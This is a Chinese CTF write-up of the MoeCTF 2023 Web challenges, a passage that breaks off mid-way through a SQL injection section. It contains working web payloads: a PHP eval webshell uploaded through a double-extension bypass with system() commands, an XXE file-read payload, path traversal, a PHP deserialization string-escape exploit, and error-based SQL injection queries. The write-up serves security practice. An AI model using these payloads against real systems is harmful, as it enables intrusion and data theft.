[MoeCTF 2023]——Web方向详细Write up、Re、Misc、Crypto部分Writeup

签到

hello CTFer

将url地址复制然后打开即可

image-20230814112924554

得到flag

image-20230814113010148

Web

http

听说这个http里还有个什么东西叫饼干,也不知道是不是吃的

踩坑了,这里用连接器。。。

开启题目环境

image-20230814125337810

GET方式请求,然后把各种请求头往里加

GET
?UwU=uHeader:
User-Agent: MoeBrowser
Cookie: character=admin
X-Forwarded-For:127.0.0.1POST data:
Luv=u

image-20230814133408472

Web入门指北

解码获取flag

群文件的web入门指北拉到最后得到字符串

666c61673d6257396c5933526d6533637a62454e7662575666564739666257396c5131524758316379596c396a61474673624756755a3055684958303d

十六进制转字符串

image-20230814134446132

得到

flag=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=

flag内容base64解密

moectf{w3lCome_To_moeCTF_W2b_challengE!!}

cookie

“狗子真的吃饼干吗”,“布偶猫一吃就拉”,”那就让《屋里的狗》吃吧(指吃饼干“

下载附件,内容如下

一些api说明

注册 POST /register

{
"username":"koito",
"password":"123456"
}

登录 POST /login

{
"username":"koito",
"password":"123456"
}

获取flag GET /flag

查询服务状态 GET /status

直接看/flag,不行的嘞

image-20230814135355480

那就POST方式去访问/register,发送json包进行注册

image-20230814140102772

然后访问login

image-20230814140150637

可以看到执行一个Set-Cookie,base64解码一下

image-20230814140303231

登录显示我不是管理员

image-20230814140351495

修改一下token的内容然后base64编码后修改

image-20230814140438199

payload:

eyJ1c2VybmFtZSI6ICJMZWFmIiwgInBhc3N3b3JkIjogIjEyMzQ1NiIsICJyb2xlIjogImFkbWluIn0=

character也修改为admin

image-20230814140606871

彼岸的flag

我们在某个平行宇宙中得到了一段moectf群的聊天记录,粗心的出题人在这个聊天平台不小心泄露了自己的flag

Ctrl+U查看源码得到flag

image-20230814145628717

gas!gas!gas!

Klutton这个假期信心满满地准备把驾照拿下,于是他仔细地学习了好多漂移视频,还准备了这么一个赛博赛车场;诶,不对,开车好像不是用键盘开的?

用脚本打,脚本如下

import requestsurl = 'http://localhost:16521/'
res = requests.session()      #创建session对象,用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求,但是没有cookie,那就无法记录答题数量。response = res.post(url, data={"driver":"Leafzzz","steering_control":0,"throttle":0})   #发post包,获取题目for i in range(1, 99):math = ""resTest = response.text            #获取返回包的内容if "太大" in resTest:ym=2elif "太小" in resTest:ym =0else:ym = 1if "向左" in resTest:fx=1elif "向右" in resTest:fx =-1else:fx =0myData = {   #构造的POST数据"driver":"Leafzzz","steering_control":fx,"throttle":ym}response = res.post(url, data=myData) #发post包,提交答案,并且获取返回包,获取下一个计算式print(response.text)          #打印当前返回包的内容if "moectf{" in response.text:       #如果返回包里面有flagprint("Flaggggggggg!!!: ", response.text)exit() # 退出当前程序,也可以break

得到flag

image-20230814181508334

大海捞针

该死,之前的平行宇宙由于flag的泄露被一股神秘力量抹去,我们脱离了与那个宇宙的连接了!不过不用担心,看起来出题人傻乎乎的是具有泄露flag的概率的,我们只需要连接多个平行宇宙…(难道flag在多元宇宙里是全局变量吗)

爆破,ip改为127.0.0.1

image-20230814153111968

1-1000爆破

image-20230814153125237

然后开始攻击,爆破出结果,id=530

image-20230814153140492

moe图床

我们准备了一个moe图床用于上传一些图片

提前放一个一句话木马的内容

<?php
phpinfo();
@eval($_REQUEST["cmd"]);
?>

文件上传

image-20230815175221403

先传马php文件

image-20230815175311819

存在前端拦截,将文件格式改为png然后上传,burp抓包修改为php文件

image-20230815180212436

但是还是上传失败,那就试试.htaccess文件(也不行)

f12可以看到前端代码

<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>moe图床</title>
</head>
<body><input type="file" id="fileInput"><button onclick="uploadFile()">上传</button><div id="uploadResult"></div><script>function uploadFile() {const fileInput = document.getElementById('fileInput');const file = fileInput.files[0];if (!file) {alert('请选择一个文件进行上传!');return;}const allowedExtensions = ['png'];const fileExtension = file.name.split('.').pop().toLowerCase();if (!allowedExtensions.includes(fileExtension)) {alert('只允许上传后缀名为png的文件!');return;}const formData = new FormData();formData.append('file', file);fetch('upload.php', {method: 'POST',body: formData}).then(response => response.json()).then(result => {if (result.success) {const uploadResult = document.getElementById('uploadResult');const para = document.createElement('p');para.textContent = ('地址:');const link = document.createElement('a');link.textContent = result.file_path;link.href = result.file_path;link.target = '_blank';para.append(link);uploadResult.appendChild(para);alert('文件上传成功!');} else {alert('文件上传失败:' + result.message);}}).catch(error => {console.error('文件上传失败:', error);});}</script>
</body>
</html>

发现存在upload.php,访问得到源代码

<?php
$targetDir = 'uploads/';
$allowedExtensions = ['png'];if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {$file = $_FILES['file'];$tmp_path = $_FILES['file']['tmp_name'];if ($file['type'] !== 'image/png') {die(json_encode(['success' => false, 'message' => '文件类型不符合要求']));}if (filesize($tmp_path) > 512 * 1024) {die(json_encode(['success' => false, 'message' => '文件太大']));}$fileName = $file['name'];$fileNameParts = explode('.', $fileName);if (count($fileNameParts) >= 2) {$secondSegment = $fileNameParts[1];if ($secondSegment !== 'png') {die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));}} else {die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));}$uploadFilePath = dirname(__FILE__) . '/' . $targetDir . basename($file['name']);if (move_uploaded_file($tmp_path, $uploadFilePath)) {die(json_encode(['success' => true, 'file_path' => $uploadFilePath]));} else {die(json_encode(['success' => false, 'message' => '文件上传失败']));}
}
else{highlight_file(__FILE__);
}
?> 

这段代码是一个简单的PHP脚本,用于处理上传图片文件的功能。下面我会逐步解释代码中的各个部分:

  1. $targetDir = 'uploads/';:这是指定上传文件保存的目标目录,目录名为 “uploads”。需要确保该目录在脚本的执行位置下存在,并且具有适当的写入权限。
  2. $allowedExtensions = ['png'];:这是一个允许上传的文件扩展名的数组,只允许上传扩展名为 “png” 的图片文件。
  3. if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {:这是一个条件判断,检查是否是通过 POST 请求上传文件,并且确保存在名为 “file” 的文件上传字段。
  4. $file = $_FILES['file'];:将上传的文件信息存储在名为 “$file” 的变量中,以便后续使用。
  5. $tmp_path = $_FILES['file']['tmp_name'];:获取上传文件的临时文件路径。
  6. if ($file['type'] !== 'image/png') { ... }:检查上传文件的 MIME 类型是否为 “image/png”,即确保上传的文件是 PNG 图片。
  7. if (filesize($tmp_path) > 512 * 1024) { ... }:检查上传文件的大小是否超过了 512KB(即 512 * 1024 字节)的限制。
  8. 解析文件名:
  • $fileName = $file['name'];:获取上传文件的原始文件名。
  • $fileNameParts = explode('.', $fileName);:将文件名通过点号 “.” 进行分割,得到文件名各个部分的数组。
  1. 文件名和扩展名校验:
  • 如果文件名部分的数组长度大于等于 2,说明文件名中至少包含了一个点号。
  • $secondSegment = $fileNameParts[1];:获取文件名的第二个部分,即文件扩展名部分。
  • 进行判断,如果第二个部分不是 “png”,则拒绝上传。
  1. 移动上传文件:
  • 构造上传文件的目标路径:$uploadFilePath = dirname(__FILE__) . '/' . $targetDir . basename($file['name']);。这会将文件保存在指定的目标目录下,并使用原始文件名。
  • move_uploaded_file($tmp_path, $uploadFilePath):尝试将临时文件移动到目标路径。如果移动成功,返回 true,否则返回 false。
  1. 根据移动结果返回响应:
  • 如果移动成功,返回 JSON 格式的成功消息,包含上传后的文件路径。
  • 如果移动失败,返回 JSON 格式的失败消息。
  1. else 分支:如果不是通过 POST 请求上传文件或者没有名为 “file” 的文件上传字段,就会显示当前 PHP 文件的代码内容。

存在逻辑漏洞

 $fileNameParts = explode('.', $fileName);if (count($fileNameParts) >= 2) {$secondSegment = $fileNameParts[1];if ($secondSegment !== 'png') {die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));}} else {die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));}

这里只会将遇到的.分开,然后判断第二个是不是png

但是apache解析是按照最后一个文件后缀解析的,只需要传两个个后缀就可以绕过

前端绕过和前面类似,burp抓包然后修改

image-20230815184219788

上传成功,并且得到文件路径/uploads/cmd.png.php,去访问

成功执行phpinfo();,然后进行rce

image-20230815184346377

payload:

uploads/cmd.png.php?cmd=system("ls /");

image-20230815184656045

然后cat /f*得到flag,payload:

uploads/cmd.png.php?cmd=system("cat /f*");

也可以蚁剑连接,这里不赘述了

了解你的座驾

为了极致地漂移,我们准备了一个网站用于查找你喜欢的车车;听说flag也放在里面了,不过不在网站目录放在根目录应该没问题的吧。。。

抓包,发现xml_content

image-20230816005023075

url解码一下,得到

<xml><name>Dodge Viper</name></xml>

F12可以看到前端脚本

function submitForm(name) {var form = document.createElement("form");form.method = "post";form.action = "index.php";var input = document.createElement("input");input.type = "hidden";input.name = "xml_content";input.value = "<xml><name>" + name + "</name></xml>";form.appendChild(input);document.body.appendChild(form);form.submit();}

猜测是XXE

关于XXE学习贴个链接:CTF XXE

这里直接贴个payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any[<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">
]>
<user><username>&file;</username><password>1</password></user>

修改一下

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any[<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=///flag">
]>
<xml><name>&file;</name></xml>

然后进行url编码

这里踩坑了,一定要编码,不然没有用

%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%65%6e%63%6f%64%69%6e%67%3d%22%55%54%46%2d%38%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%61%6e%79%5b%0a%20%20%3c%21%45%4e%54%49%54%59%20%66%69%6c%65%20%53%59%53%54%45%4d%20%22%70%68%70%3a%2f%2f%66%69%6c%74%65%72%2f%72%65%61%64%3d%63%6f%6e%76%65%72%74%2e%62%61%73%65%36%34%2d%65%6e%63%6f%64%65%2f%72%65%73%6f%75%72%63%65%3d%2f%2f%2f%66%6c%61%67%22%3e%0a%5d%3e%0a%3c%78%6d%6c%3e%3c%6e%61%6d%65%3e%26%66%69%6c%65%3b%3c%2f%6e%61%6d%65%3e%3c%2f%78%6d%6c%3e

传参给xml_content,base64解码得到flag

image-20230818010805100

meo图床

我们准备了一个meo(?)图床用于上传一些图片

也是考察文件上传,先上传PHP文件试试

image-20230816201607350

burp抓包修改文件后缀试试

image-20230817211659989

这里看到php文件是可以上传成功的,去查看一下

image-20230817211826313

可惜这里无法访问我们的.php文件,只能访问我们上传的.png文件

但是可以看到file_get_contents函数,猜测有任意文件读取

构造payload读取flag

?name=../../../../../../flag 

image-20230817214722888

跟我们flag不在这里,但是这里有个提示Fl3g_n0t_Here_dont_peek!!!!!.php,访问一下

踩坑,这里不用name变量,直接访问就行了,我开始还以为这个hint没有用,就一直没找出来

http://localhost:port/Fl3g_n0t_Here_dont_peek!!!!!.php

看到代码

 <?phphighlight_file(__FILE__);if (isset($_GET['param1']) && isset($_GET['param2'])) {$param1 = $_GET['param1'];$param2 = $_GET['param2'];if ($param1 !== $param2) {$md5Param1 = md5($param1);$md5Param2 = md5($param2);if ($md5Param1 == $md5Param2) {echo "O.O!! " . getenv("FLAG");} else {echo "O.o??";}} else {echo "o.O?";}
} else {echo "O.o?";
}?> 

md5弱比较,直接数组绕过就可以了

/Fl3g_n0t_Here_dont_peek!!!!!.php?param1[]=1&param2[]=2

得到flag

image-20230817214916750

夺命十三枪

夺命十三枪!然后是啥来着?

反序列化,开启环境得到源码

<?php
highlight_file(__FILE__);require_once('Hanxin.exe.php');$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';try{echo unserialize($after);
}catch (Exception $e) {echo "Even Caused A Glitch...";
}
?> 

存在Hanxin.exe.php,访问文件得到源码

<?phpif (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {highlight_file(__FILE__);
}class Deadly_Thirteen_Spears{private static $Top_Secret_Long_Spear_Techniques_Manual = array("di_yi_qiang" => "Lovesickness","di_er_qiang" => "Heartbreak","di_san_qiang" => "Blind_Dragon","di_si_qiang" => "Romantic_charm","di_wu_qiang" => "Peerless","di_liu_qiang" => "White_Dragon","di_qi_qiang" => "Penetrating_Gaze","di_ba_qiang" => "Kunpeng","di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts","di_shi_qiang" => "Overlord","di_shi_yi_qiang" => "Letting_Go","di_shi_er_qiang" => "Decisive_Victory","di_shi_san_qiang" => "Unrepentant_Lethality");public static function Make_a_Move($move){foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){$move = str_replace($index, $movement, $move);}return $move;}
}class Omg_It_Is_So_Cool_Bring_Me_My_Flag{public $Chant = '';public $Spear_Owner = 'Nobody';function __construct($chant){$this->Chant = $chant;$this->Spear_Owner = 'Nobody';}function __toString(){if($this->Spear_Owner !== 'MaoLei'){return 'Far away from COOL...';}else{return "Omg You're So COOOOOL!!! " . getenv('FLAG');}}
}?>

先构造pop链,倒着找

Hanxin.exe.php文件中的Omg_It_Is_So_Cool_Bring_Me_My_Flag类中,存在__toString()魔术方法,里面的语句可以得到flag

__toString(): 当一个对象被当作字符串使用时触发

向上找,发现在index.php中,echo unserialize($after)将反序列化后的$after当做字符串输出

$after是经过Deadly_Thirteen_SpearsMake_a_Move()静态方法重构后的

先解释一下Deadly_Thirteen_Spears的作用

class Deadly_Thirteen_Spears{private static $Top_Secret_Long_Spear_Techniques_Manual = array("di_yi_qiang" => "Lovesickness","di_er_qiang" => "Heartbreak","di_san_qiang" => "Blind_Dragon","di_si_qiang" => "Romantic_charm","di_wu_qiang" => "Peerless","di_liu_qiang" => "White_Dragon","di_qi_qiang" => "Penetrating_Gaze","di_ba_qiang" => "Kunpeng","di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts","di_shi_qiang" => "Overlord","di_shi_yi_qiang" => "Letting_Go","di_shi_er_qiang" => "Decisive_Victory","di_shi_san_qiang" => "Unrepentant_Lethality");public static function Make_a_Move($move){foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){$move = str_replace($index, $movement, $move);}return $move;}
}

这段代码定义了一个名为 Deadly_Thirteen_Spears 的类,其中包含一个静态方法 Make_a_Move(),这个方法用于将输入的字符串进行一系列替换操作。下面逐行解释代码的功能和作用:

  1. private static $Top_Secret_Long_Spear_Techniques_Manual = array(...);: 这是一个私有的静态属性,它是一个关联数组,包含了一组“绝密长枪技巧手册”的内容。每个键值对表示一个技巧,其中键是技巧的标识,值是技巧的名称。
  2. public static function Make_a_Move($move) {: 这是一个公共的静态方法,接受一个字符串参数 $move,表示要处理的移动。这个方法将对输入的字符串进行处理。
  3. foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement) {: 这是一个循环语句,遍历了之前定义的绝密长枪技巧手册数组。对于每一项技巧,循环会将数组中的键(技巧的标识)赋值给变量 $index,将数组中的值(技巧的名称)赋值给变量 $movement
  4. $move = str_replace($index, $movement, $move);: 在循环内部,这行代码使用 str_replace() 函数将字符串 $move 中的 $index 部分(即技巧的标识)替换为 $movement 部分(即技巧的名称)。这样,会对字符串进行一系列的替换操作,将特定的技巧标识替换为对应的技巧名称。
  5. return $move;: 最后,方法返回经过替换处理后的字符串

简单来说就是我们在$before = serialize($new_visitor);得到的序列化字符串,在传入这个方法后,会检测关键词并进行替换,替换方式如下

"di_yi_qiang" => "Lovesickness",
"di_er_qiang" => "Heartbreak",
"di_san_qiang" => "Blind_Dragon",
"di_si_qiang" => "Romantic_charm",
"di_wu_qiang" => "Peerless",
"di_liu_qiang" => "White_Dragon",
"di_qi_qiang" => "Penetrating_Gaze",
"di_ba_qiang" => "Kunpeng",
"di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
"di_shi_qiang" => "Overlord",
"di_shi_yi_qiang" => "Letting_Go",
"di_shi_er_qiang" => "Decisive_Victory",
"di_shi_san_qiang" => "Unrepentant_Lethality"

关于字符串增多逃逸可以看一下CTFshow反序列化系列的web262

再往上找$before = serialize($new_visitor),会序列化$new_visitor,再之前我们需要传入chant参数,然后$new_visitor会创建一个Omg_It_Is_So_Cool_Bring_Me_My_Flag对象,并且将Chant的值等于我们传入的$chant

所以构造pop链

Omg_It_Is_So_Cool_Bring_Me_My_Flag::__toString() <-- echo unserialize($after) <-- Deadly_Thirteen_Spears::Make_a_Move() <-- new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant) <-- $_GET['chant']

如果想成功触发getenv(FLAG)就需要Omg_It_Is_So_Cool_Bring_Me_My_FlagSpear_Owner的属性的值变为MaoLei,但是我们无法直接更改Spear_Owner的值,所以就需要利用字符串逃逸来更改

这里打算利用字符串增多逃逸,所以这里我选的第一枪di_yi_qiang => Lovesickness

先构造好我们想要的exp

<?php
class Omg_It_Is_So_Cool_Bring_Me_My_Flag{public $Spear_Owner;function __construct(){$this->Spear_Owner = 'MaoLei';}
}$a=new Omg_It_Is_So_Cool_Bring_Me_My_Flag();
echo serialize($a);
#得到Spear_Owner=MaoLei的序列化结果
?>

运行脚本之后得到

O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":1:{s:11:"Spear_Owner";s:6:"MaoLei";}

这里我们需要的是后半部分,也就是{s:11:"Spear_Owner";s:6:"MaoLei";}

但是需要前面闭合的{,而且还要加";来闭合前面的序列化字符串,所以得到字符串

";s:11:"Spear_Owner";s:6:"MaoLei";}

计算一下字符串长度

<?php
echo strlen('";s:11:"Spear_Owner";s:6:"MaoLei";}');
#35
?>

然后按照题目的序列化,让chant等于我们得到的值然后先运行一遍看看序列化结果

<?php
class Omg_It_Is_So_Cool_Bring_Me_My_Flag{public $Chant = '1";s:11:"Spear_Owner";s:6:"MaoLei";}';public $Spear_Owner = 'Nobody';
}$a=new Omg_It_Is_So_Cool_Bring_Me_My_Flag();
echo serialize($a);
?>

运行得到

O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:36:"1";s:11:"Spear_Owner";s:6:"MaoLei";}";s:11:"Spear_Owner";s:6:"Nobody";}

观察运行结果

image-20230816200027996

这里s表示的值是36,但是遇到了一个字符“1”就闭合了,多出来的35个字符正是我们构造出来的序列化字符串";s:11:"Spear_Owner";s:6:"MaoLei";}

如果直接传入,那么在反序列化的时候就会产生报错,所以我们就要想办法去造出来多出来的这35个字符,题目中给出利用点

就是Make_a_move方法,这里用第一枪di_yi_qiang => Lovesickness

会在序列化之后生成的字符串中di_yi_qiang替换为Lovesickness,每替换一个就会多出来一个字符,所以我们构造payload的时候构造35个di_yi_qiang就会在替换后多出来35个字母,因为已经序列化完了,所以s:36并不会改变,从而实现字符串逃逸

先生成35个di_yi_qiang

<?php
$a=1;
for($a=1;$a<=35;$a++){echo 'di_yi_qiang';
}

最后payload:

?chant=di_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiangdi_yi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

传参得到flag

image-20230816200948892

signin

真的是signin(

题目存在附件(刚开始没看见,无语了)

源码如下

from secrets import users, salt
import hashlib
import base64
import json
import http.serverwith open("flag.txt","r") as f:FLAG = f.read().strip()def gethash(*items):c = 0for item in items:if item is None:continuec ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?return hex(c)[2:]assert "admin" in users
assert users["admin"] == "admin"hashed_users = dict((k,gethash(k,v)) for k,v in users.items())eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?def decrypt(data:str):for x in range(5):data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?return data__page__ = base64.b64encode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD......")class MyHandler(http.server.BaseHTTPRequestHandler):def do_GET(self):try:if self.path == "/":self.send_response(200)self.end_headers()self.wfile.write(__page__)else:self.send_response(404)self.end_headers()self.wfile.write(b"404 Not Found")except Exception as e:print(e)self.send_response(500)self.end_headers()self.wfile.write(b"500 Internal Server Error")def do_POST(self):try:if self.path == "/login":body = self.rfile.read(int(self.headers.get("Content-Length")))payload = json.loads(body)params = json.loads(decrypt(payload["params"]))print(params)if params.get("username") == "admin":self.send_response(403)self.end_headers()self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")print("admin")returnif params.get("username") == params.get("password"):self.send_response(403)self.end_headers()self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")print("same")returnhashed = gethash(params.get("username"),params.get("password"))for k,v in hashed_users.items():if hashed == v:data = {"user":k,"hash":hashed,"flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"}self.send_response(200)self.end_headers()self.wfile.write(json.dumps(data).encode())print("success")returnself.send_response(403)self.end_headers()self.wfile.write(b"Invalid username or password")else:self.send_response(404)self.end_headers()self.wfile.write(b"404 Not Found")except Exception as e:print(e)self.send_response(500)self.end_headers()self.wfile.write(b"500 Internal Server Error")if __name__ == "__main__":server = http.server.HTTPServer(("", 9999), MyHandler)server.serve_forever()

中间一大段base64编码的值是前端代码,不用管他

这里进行代码分析一下,一段一段来

先不分析gethash,这里有解题的关键

eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?

这里的作用是简单来讲就是将base64encode的作用变为base64decode也就是在这段程序中,编码的作用变为解码

接下来decrypt函数

def decrypt(data:str):for x in range(5):data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?return data

这个函数的作用是循环进行五次base64encode也就是base64编码,但是在上面一段的eval()语句中,将编码的功能变成解码,所以这段函数的作用也就变成了base64decode也就是这段函数的作用变成了五次base64解码

然后是main函数

if __name__ == "__main__":server = http.server.HTTPServer(("", 9999), MyHandler)server.serve_forever()

这里会接受HTTPServer也就是HTTP请求头然后利用MyHandler进行处理

MyHandler

class MyHandler(http.server.BaseHTTPRequestHandler):def do_GET(self):try:if self.path == "/":self.send_response(200)self.end_headers()self.wfile.write(__page__)else:self.send_response(404)self.end_headers()self.wfile.write(b"404 Not Found")except Exception as e:print(e)self.send_response(500)self.end_headers()self.wfile.write(b"500 Internal Server Error")def do_POST(self):try:if self.path == "/login":body = self.rfile.read(int(self.headers.get("Content-Length")))payload = json.loads(body)params = json.loads(decrypt(payload["params"]))print(params)if params.get("username") == "admin":self.send_response(403)self.end_headers()self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")print("admin")returnif params.get("username") == params.get("password"):self.send_response(403)self.end_headers()self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")print("same")returnhashed = gethash(params.get("username"),params.get("password"))for k,v in hashed_users.items():if hashed == v:data = {"user":k,"hash":hashed,"flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"}self.send_response(200)self.end_headers()self.wfile.write(json.dumps(data).encode())print("success")returnself.send_response(403)self.end_headers()self.wfile.write(b"Invalid username or password")else:self.send_response(404)self.end_headers()self.wfile.write(b"404 Not Found")except Exception as e:print(e)self.send_response(500)self.end_headers()self.wfile.write(b"500 Internal Server Error")

这里用GET传参来接受路由,如果是/就显示前端代码,也就是__page__,除此之外都返回404 Not Found

Post进行对/login路由处理,先经过decrypt()函数对传进来的payload["params"]进行处理,也就是base64解码五次,然后在进行接受并解析

接下来如果usernameadmin,就回显"YOU CANNOT LOGIN AS ADMIN!"

如果username==password,也就是username等于password的值就会返回YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!

如果前面的条件都没有符合,那么就会让hasded的值等于经过gethash函数处理的usernamepassword

接下来

  • for k, v in hashed_users.items()::这是一个迭代循环,遍历 hashed_users 字典的键值对。在每次迭代中,键将被赋值给变量 k,而值将被赋值给变量 v
  • if hashed == v::这是一个条件语句,检查当前循环迭代中的哈希值 hashed 是否与字典中的某个值 v 相等。
    • 如果相等,说明找到了匹配的哈希值,这可能代表用户的身份验证成功。
    • 如果不相等,代码将继续迭代,检查下一个键值对。
  • 如果找到了匹配的哈希值(用户身份验证成功),以下内容将被执行:
    • data 字典被创建,其中包括以下键值对:
      • "user": k:将匹配的用户名称赋值给 "user" 键。
      • "hash": hashed:将匹配的哈希值赋值给 "hash" 键。
      • "flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}":根据用户名称决定是否分配一个特定的标志(flag)。如果用户名称是 "admin",则使用 FLAG 的值作为标志;否则,使用一个特定的提示消息作为标志。

所以我们传入的值就需要让username=admin,并且username=password

这里hashed_users 字典是gethash函数生成的

gethash()函数

def gethash(*items):c = 0for item in items:if item is None:continuec ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?return hex(c)[2:]
  1. def gethash(*items)::定义一个名为 gethash 的函数,该函数接受任意数量的参数,这些参数将被用于生成哈希值。
  2. c = 0:初始化变量 c 为零,用于存储最终的哈希值。
  3. for item in items::遍历传入的参数列表。
  4. if item is None::如果当前参数 itemNone,则跳过当前迭代,继续下一个迭代。这可能是为了处理参数中的空值。
  5. c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big")
  • 在这行代码中,对每个非空参数执行以下操作:
    • hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest():将给定的 item 与一个固定的 salt 值组合,然后计算这个组合的 MD5 哈希值,并获得其原始字节表示。
    • int.from_bytes(..., "big"):将上一步得到的字节表示转换为一个大整数。
    • c ^= ...:将上述得到的整数与变量 c 进行按位异或操作,将结果重新赋值给 c。这可能是为了将多个参数的哈希值合并在一起。
  1. return hex(c)[2:]:将最终合并的哈希值转换为十六进制字符串,并返回其中去掉开头的 “0x” 后的部分。

我们需要让k值为admin,所以这里的需要让admin经过gethash函数处理

admin算出来的hash0,然后我就卡题了,去请教了一下出题人

image-20230818025948059

解题思路如下

image-20230818030040074

我们传入的参数,也就是usernamepassword在这里都会用format来进行格式化

而format在处理数字0 和字符0时,统一返回的是字符0,那么我们让username是数字0,password是字符0,就可以让他们的hash相等

exp如下

随便传个值然后抓包,然后base64解码5

image-20230818013931883

修改username0password"0",然后base64编码五次,得到

image-20230818014053969

VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJGNlJrVmFSRXB6WVd4SmQxZHFXbHBsYXpWeVdrY3hUMlJHVmxoaVJrSm9WbGQzZWxVeFl6QmtNVUpTVUZRd1BRPT0=

修改params的值,然后发包,得到flag

image-20230818014332305

(但是 我总感觉这个是非预期解,因为这就和admin的hash是不是0没有关系了,这里好像只要是数字和字符都可以进行绕过)

出去旅游的心海

Ctrl+U查看源代码,可以看到存在文件

image-20231006113145516

访问一下得到源代码

<?php
/*
Plugin Name: Visitor auto recorder
Description: Automatically record visitor's identification, still in development, do not use in industry environment!
Author: KoKoMiStill in development! :)
*/// 不许偷看!这些代码我还在调试呢!
highlight_file(__FILE__);// 加载数据库配置,暂时用硬编码绝对路径
require_once('/var/www/html/wordpress/' . 'wp-config.php');$db_user = DB_USER; // 数据库用户名
$db_password = DB_PASSWORD; // 数据库密码
$db_name = DB_NAME; // 数据库名称
$db_host = DB_HOST; // 数据库主机// 我记得可以用wp提供的global $wpdb来操作数据库,等旅游回来再研究一下
// 这些是临时的代码$ip = $_POST['ip'];
$user_agent = $_POST['user_agent'];
$time = stripslashes($_POST['time']);$mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);// 检查连接是否成功
if ($mysqli->connect_errno) {echo '数据库连接失败: ' . $mysqli->connect_error;exit();
}$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)";// 执行插入
$result = mysqli_query($mysqli, $query);// 检查插入是否成功
if ($result) {echo '数据插入成功';
} else {echo '数据插入失败: ' . mysqli_error($mysqli);
}// 关闭数据库连接
mysqli_close($mysqli);//gpt真好用

通过代码审计可以知道开启了报错显示,所以我们可以通过报错注入来获取信息

我们需要传入ipuser_agenttime参数,这里用time来当注入点

构造payload:

ip=1&user_agent=1&time=updatexml(1,substring(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),25,50),3)

得到库名,然后爆表

payload:

ip=1&user_agent=1&time=updatexml(1,substring(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='wordpress' ),0x7e),1,20),3)

image-20231006125426033

得到表名,然后爆字段

payload:

